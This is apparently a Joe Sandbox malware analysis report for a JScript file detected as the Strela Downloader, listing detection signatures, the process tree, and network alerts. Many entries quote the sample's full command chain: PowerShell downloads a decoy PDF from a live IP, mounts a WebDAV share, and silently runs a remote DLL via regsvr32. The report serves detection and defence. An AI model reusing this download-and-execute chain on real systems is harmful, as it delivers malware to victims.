Edit tour

Windows Analysis Report
12315203731832427262.js

Overview

General Information

Sample name:	12315203731832427262.js
Analysis ID:	1587879
MD5:	a8bca21f483432c174f23e9571e74ed3
SHA1:	467fd4f38f758e8e22b09663d763947d4cff8573
SHA256:	834069f74b1f2a7ca75a06094ba471be9d6c29c1dc37bd6aa3f9e897e9477857
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6616 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6772 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6912 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3140 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6640 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4548 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1628,i,15316732733863678480,11542386265952292308,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1072 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3104 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7008 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6616	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6772, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6912, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6772, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6912, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js", ProcessId: 6616, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3104, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, ProcessId: 6772, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, ProcessId: 6772, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, ProcessId: 6772, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, ProcessId: 6772, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, ProcessId: 6772, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js", ProcessId: 6616, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6772, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6912, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1072, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3104, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7008, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1072, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3104, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12315203731832427262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\64092738923736.dll, ProcessId: 6772, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:58:15.630351+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:58:12.727882+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 12315203731832427262.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 12315203731832427262.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:58:12 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

